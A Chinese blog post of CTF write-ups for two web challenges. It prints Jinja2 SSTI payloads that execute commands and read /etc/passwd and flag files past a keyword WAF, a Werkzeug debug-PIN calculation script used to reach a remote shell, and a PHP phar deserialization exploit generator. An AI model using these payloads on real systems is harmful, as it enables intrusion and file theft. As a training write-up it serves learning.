2021-02-23

46 篇文章 0 订阅

[GYCTF2020]FlaskApp

知识点

WP:

前言Flask开启debug模式等于给黑客留了后门
参考链接:Flask开启debug模式

Flask在生产环境中开启debug模式是一件非常危险的事,主要有3点原因:

1、会泄露当前报错页面的源码,可供审计挖掘其他漏洞

2、会泄露Web应用的绝对路径,及Python解释器的路径(可以配合写文件漏洞向指定目录的文件内写入构造好的恶意代码,利用方式可以参考安全客的这篇文章:文件解压之过 Python中的代码执行)

3、debug页面中包含Python的交互式shell,可以执行任意Python代码

在这里插入图片描述
**信息收集:**因为题目名flask,所以先不进行常规信息收集,而是观察功能点,寻找易发生ssti的功能
提示里貌似没有什么信息,考虑到功能异常抛出常见于解密环节,所以随便输段不能解密的在这里插入图片描述
直接报错抛出debug信息,看来是开启了debug模式
而且读到了app.py的部分代码
大致的逻辑就是获取text参数,进行解密,如果可以过waf则执行代码

@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)

在这里插入图片描述可以看到/decode的部分源码,可以发现 render_template_string(tmp)会引起python模块注入

进一步尝试是否ssti,在加密界面对{{6*6}}进行加密,结果为e3s2KjZ9fQ==,再在解密界面进行解密,疑似是有一定防御,那么换成{{3+3}},成功返回在这里插入图片描述在这里插入图片描述

说明确实存在ssti,接下来就是具体怎么利用的过程了

预备知识

在jinja2中 控制结构 {% %} 变量取值 {{ }}
函数和属性

  • class 返回调用的参数类型
  • bases 返回基类列表
  • mro 此属性是在方法解析期间寻找基类时的参考类元组
  • subclasses() 返回子类的列表
  • globals 以字典的形式返回函数所在的全局命名空间所定义的全局变量,与 func_globals 等价
  • builtins 内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等

具体利用

flask模板注入框架
查看根目录
查看根目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
在这里插入图片描述发现不行

想办法把完整的app.py读出来,方便绕waf

为了方便阅读,把它换行了

{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}
{%endif%}{%endfor%}

修改成

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}{% endfor %}

记得最后要改成一行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

然后加密解密
得到结果

在这里插入图片描述
可以看到过滤了很多关键词
把中间的waf函数代码美化一下

def waf(str): 
  black_list = [ &
    #34;flag&# 34;, & #34;os&# 34;, & #34;system&# 34;, &
    #34;popen&# 34;, & #34;import&# 34;, & #34;eval&# 34;, &
    #34;chr&# 34;, & #34;request&# 34;, & #34;subprocess&# 34;, &
    #34;commands&# 34;, & #34;socket&# 34;, & #34;hex&# 34;, &
    #34;base64&# 34;, & #34;*&# 34;, & #34;?&# 34;
]
  for x in black_list: 
    if x in str.lower(): 
      return 1@ app.route( '/hint&# 39;, methods = [ & #39;GET&# 39;])

用字符拼接法

从 black list大致知道了关键字,另外会将字符转小写,所以没法通过lower方法或者base64、hex一下绕过,但是最常见的是字符串拼接绕过,参考菜鸟教程找到os模块的一些方法

先使用listdir方法看看当前目录文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
在这里插入图片描述其中this_is_the_flag.txt有flag字样,那么接下来就是想办法读这个文件,还是采用拼接字符串的方式,然后结合内建函数open,菜鸟教程

读取文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
这里过滤了flag,用字符串倒序的方法
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
或者继续字符串拼接绕过:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
得到flag在这里插入图片描述

方法二: 利用PIN码进行RCE

通过PIN码生成机制可知,需要获取如下信息

  • 服务器运行flask所登录的用户名。通过/etc/passwd中可以猜测为flaskweb 或者root,此处用的flaskweb
  • modname。一般不变就是flask.app
  • getattr(app, “name”, app.class.name)。python该值一般为Flask,该值一般不变
  • flask库下app.py的绝对路径。报错信息会泄露该值。题中为/usr/local/lib/python3.7/site-packages/flask/app.py
  • 当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address获取(eth0为网卡名),本题为02:42:ae:01:0d:25,转换后为2485410401573
  • 机器的id:对于非docker机每一个机器都会有自已唯一的id
    Linux:/etc/machine-id/proc/sys/kernel/random/boot_i,有的系统没有这两个文件
    Windows
    docker:/proc/self/cgroup

日常走一下流程:
利用如下语句进行读取文件:

{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}

或者这个也行:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
读一下etc/passwd,发现用户名是flaskweb。
通过随便输入来报错,得到app.py的绝对路径:
在这里插入图片描述读/sys/class/net/eth0/address来获得mac的地址
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}
在这里插入图片描述
得到02:42:ae:00:a9:7c转十进制,
可以一行python print(int('0242AE00A97C',16))得到2485410376060

因为题目是docker环境,因此读机器id
获取机器id,读取/proc/self/cgroup
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}
在这里插入图片描述
docker后面的那一串31c24e0fd34a09126aa47d88e21b8b28efcce8acd630632e4e4a9baddff38757就是了。

计算pin代码如下

import hashlib
from itertools import chain

probably_public_bits = [
    'flaskweb',#服务器运行flask所登录的用户名
    'flask.app',#modname
    'Flask',#getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)
    '/usr/local/lib/python3.7/site-packages/flask/app.py',#flask库下app.py的绝对路径
]

private_bits = [
    '2485410376060',#当前网络的mac地址的十进制数
    '4bac89c2faec2a0a2ca846544549977cbae8dde2196eb964942a7d4e383fc7a4'#机器的id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
print(rv)

得到169-663-911
在之前的报错页面,点击右侧命令行图案,输入pin
在这里插入图片描述
可以直接页面debug了在这里插入图片描述
执行命令即可得到flag:
import os
os.popen(“ls -l /”).read()
os.popen(“cat /this_is_the_flag.txt”).read()
在这里插入图片描述
参考链接:
Flask debug 模式 PIN 码生成机制安全性研究笔记
关于Flask SSTI,解锁你不知道的新姿势

[CISCN2019 华北赛区 Day1 Web1]Dropbox

知识点

  • PHP代码审计
  • phar和反序列化
  • 文件读取
  • 猜nt的flag文件名和它在哪

知识点详解:
1 open_basedir

在in_set这个函数中,可以设置php的一些配置,其中就包括open_basedir ,用来限制当前程序可以访问的目录。后来问了一下朱师傅,了解到:它是可以访问设置目录下的所有下级目录。
若"open_basedir = /dir/user", 那么目录 “/dir/user” 和 “/dir/other"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。”."可代表当前目录,open_basedir也可以同时设置多个目录,在Windows中用分号分隔目录,在任何其它系统中用冒号分隔目录。例:
ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”); 就是只可以访问当前目录(getcwd()返回当前目录)、/etc和/tmp三个目录。解释了为什么要在delete.php中利用payload,而不是download.php。

2 chdir() mkdir()

  • chdir() 现实目录跳跃,解释了为什么下载时要filename = …/…/indx.php ,而不是filename = index.php。
  • mkdir() 创建一个文件夹,顺带提一下。

3 function __all($func, $args)

php的魔术方法,为什么要叫魔术方法?__call($func,$args)会在对象调用的方法不存在时,自动执行。 $func:被调用的方法名,所以$func()在这个魔术方法中,可以表示被调用的那个方法;$args : 被调用方法中的参数(这是个数组)

public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

在本题中,次方法的作用,是去调用对象没有的方法。首先把要调用的方法,压进$this->funcs中,然后遍历每一个文件,让每一个文件,都去调用刚才的方法。比如在index.php中,就出现了这个函数的调用。在这里插入图片描述

当执行 $a = new FileList($_SESSION[‘sandbox’])时,会先调用构造函数,把“$_SESSION[‘sandbox’]”目录下的所有文件,都放到 $a->files中,注意这是个数组,解释了为什么,在后面构造payload时,\$this->files要等于一个数组。然后 $a->Name(); 调用了一个FileList中并没有的方法,就会自动调用 __all($func, $args)函数,其中$func=Name。然后让
$a->files里的所有文件,都去调用这个方法。并把结果,存储在以filename为一级键名,方法为二级键名的数组中。然后Size方法同样如此。

nameSize
filename1xxxx
filename2xxxx

也就时说,它在程序中的作用就是,遍历我们上传的所有文件,并把它们的信息,储存在$a->result这个二维数组中。

4 function __destruct()

foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
            $table .= '</tr>';
        }
  • foreach ($this->results as $filename => $result) 每次把每个一级数组的值,传递给$result,即filename1[]

  • foreach ($result as $func => $value) 每次把每个二级数组的值,传递给$value

  • echo table 最后打印出来全部数据

解决了读取的数据,无法输出的问题

5 phar(重点)
讲phar的链接

我的理解,我们可以把一个序列化的对象,储存在phar格式的文件中,生成后(一定要是生成后),即使我们把格式给改了,也不影响它的作用:用一些文件包含函数,如果我们以phar://协议去访问这个文件,那么就可以把那个对象给反序列化。
php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,别人测试后,受影响的函数如下:在这里插入图片描述

启动靶机

进入环境随便注册登录,发现存在文件上传,上传之后会有下载的功能,对这个功能进行抓包,发现存在文件读取:在这里插入图片描述
然后就想办法把这题所有的文件都给读取下来,重要的就是download.php,delete.php和class.php:

download.php

//download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>


delete.php

//delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

delete.php

//delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>


class.php

//class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

我们大致看一下源码,看哪儿可以读取源码
在class.php中的函数close()可以读取文件
其中download.php会调用$file->close()但是限制了filename不能包含flag,所以我们不能直接读取flag~~

我们的思路如下

  • 上传一个phar文件,后缀为图片的格式
  • 然后在delete.php中访问它,以phar://test.jpg的形式,此时会调用file->open()中的file_exists()会触发反序列化,(此时file_exists()返回的是false)
  • 此时只有user的__descruct会调用close()函数,(在File类中,close方法存在file_get_contents()函数),但是没有回显功能,我们只能找一个有回显的地方进行序列化~
  • 我们观察到FileList类的__descruct有echo函数,输出 t a b l e , 而 table,而 tabletable的内容来自$result,我们再来看一下__call函数
public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

__call函数是指当调用类不存在的方法时就会调用__call函数·~
其中$func就是指我们调用的不存在方法,而$args是指我们的参数~~,
通过代码我们知道假如我们调用close()方法,那么最后会调用

$file->$func()

即$file->close(),并且存入$result中,那么file_get_contents的内容就能回显出来了~~

最后的payload为:

<?php
class User {
    public $db;
}
class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct() {
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}
class File {
    public $filename;
}

// ini_set('phar.readonly',0);

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "glzjin"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

最后再说一下,为什么我们要通过delete.php触发phar反序列化,而不是通过download.php,两者都会调用file_exists(),那是因为download.php有base_dir限制,我们不能读出在/目录下的文件~~

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值